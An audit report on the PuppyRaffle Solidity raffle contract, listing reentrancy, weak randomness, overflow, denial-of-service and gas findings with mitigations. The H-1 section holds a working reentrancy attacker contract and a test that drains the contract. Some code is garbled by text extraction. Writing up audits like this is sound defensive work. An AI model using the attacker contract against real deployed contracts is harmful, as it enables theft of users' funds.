DakSec
SECURITY

Puppy Raffle Audit Report

Version 1.0

Cyfrin.io

June 30, 2025

Protocol Audit Report

DakSec

June 30, 2025

Prepared by: DakSec Security

Lead Auditors: Dakota Rogers

Table of Contents

- Medium
  * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants.
  * [M-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-exsistent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  * [M-3] Unsafe cast of PuppyRaffle::fee loses fees
  * [M-4] Smart contract wallet winners without a `receive` or a `fallback` function will block the start of a new contest.
  * Gas
  * [G-1] Unchanged state variables should be declared constant or immutable.
  * [G-2] Storage variables in a loop should be cached
- Info
  * [I-1]: Solidity pragma should be specific, not wide
  * [I-2]: Using an outdated version of solidity is not recommended.
  * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` should follow CEI (Checks, Effects, Interactions)
  * [I-5] Use of "Magic" numbers is discouraged
  * [I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The DakSec Security team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This report presents a comprehensive security and gas efficiency analysis of the PuppyRaffle smart contract system. The audit uncovered critical vulnerabilities, major logical issues, and efficiency concerns, several of which could lead to complete loss of funds, DoS conditions, or protocol manipulation. The most severe findings are summarized below:

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	0
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow [CEI] (Checks, effects, interactions) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`recieve` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrance could be stolen by the malicious participant.

Proof of Concept:

1. User enters the Raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enter raffle
4. Attacker calls the `PuppyRaffle::refund` from thier attack contract, draining the contract balance.

Proof of Code

code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackConractBalance = address(attackerContract
            )
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.startPrank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting attack contract balance:",
            startingAttackConractBalance
        );
        console.log("Starting contract balance:",
           startingContractBalance);

        console.log(
            "Ending attack contract balance:",
            address(attackerContract).balance
        );
        console.log("Ending contract balance:", address(puppyRaffle).
           balance);
    }
```

and this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
$$
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict or influence the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number.

Note This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who win the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Conisder using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to interger overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
```

Impact: in `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in '`PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be `javascript totalFees = totalFees + uint64(fee); //aka totalFees= 800000000000000000 + 17800000000000000000 // and this will overflow. totalFees = 153255926290448384` 4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw fees, this is clearly not the indeded design of the protocol. At some point, there will be too much `balance` in the contract that the avove `require` will be impossible to hit.

Code

```
 function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible options:

1. Use a newer version of solidity, and a `uint256` instead of `uint64`
2. Could also use the `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for the player who enter right when the raffle starts will be dramatically lower than those who enter later on. Every additional address in the `players` array, is an additional check the loop will have to make.

Impact: The gas costs for the raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from, entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker may make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: -1st 100 players: ~625200 -2nd 100 players: ~18068000

This is more than 3x expensive for the second 100 players.

POC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
        //     address[] memory players = new address[](1);
        //     players[0] = playerOne;
        //     puppyRaffle.enterRaffle{value: entranceFee}(players);
        //     assertEq(puppyRaffle.players(0), playerOne);
        vm.txGasPrice(1);

        // Lets enter 100 players into the raffle
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost for the first 100 players:", gasUsedFirst
            );

        //    now for the second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // 0, 1, 2, ->
                100, 101, 102, ...
        }
        // see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost for the second 100 players:",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation:

1. Remove duplicate section as this doesn't stop users, as they can just open another wallet and then enter the raffle again.
2. Alternatively, you could use [openZeppelins's `EnumerableSet` library] to avoid duplicates.

[M-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-exsistent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return - if the player is not in the array.

```
// the index of the player in the array, if they are not active, it
    returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the functions documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1.

[M-3] Unsafe cast of PuppyRaffle::fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
function selectWinner() external {
 require(block.timestamp >= raffleStartTime + raffleDuration, "
PuppyRaffle: Raffle not over");
 require(players.length > 0, "PuppyRaffle: No players in raffle"
);

 uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
sender, block.timestamp, block.difficulty))) % players.
length;
address winner = players[winnerIndex];
uint256 fee = totalFees / 10;
uint256 winnings = address(this).balance - fee;
@> totalFees = totalFees + uint64(fee);
players = new address[](0);
emit RaffleWinner(winner, winnings);
}
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "
PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.
timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

[M-4] Smart contract wallet winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` fucntion is responisble for resetting the lottery. However if the winner is a smart contract wallet that rejects payment, the lottery wouls not be able to reset.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging/

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or recieve function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a couple options

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of address -> payout so winnners can pull their funds out themselves with a new `claimPrize` function, putting the owners on the winner to claim their prize/ (recommended)

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+          uint256 playerLength = players.lenth
-          for (uint256 i = 0; i < players.length - 1; i++) {
+          for (uint256 i = 0; i < players.length - 1; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
+              for (uint256 j = i + 1; j < players.length; j++) {

                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
```

Info

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

[I-2]: Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG) documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 74

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 235

  "'solidity feeAddress = newFeeAddress;

[I-4] `PuppyRaffle::selectWinner` should follow CEI (Checks, Effects, Interactions)

It's best to keep code clean and follow CEI

```
- (bool success, ) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        _safeMint(winner, tokenId);
+         (bool success, ) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "Magic" numbers is discouraged

It can be confusing to see number literals in a code base, and is much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_ POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PERCENTAGE = 100;
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description:

Remove this section

```
function _isActivePlayer() internal view returns (bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```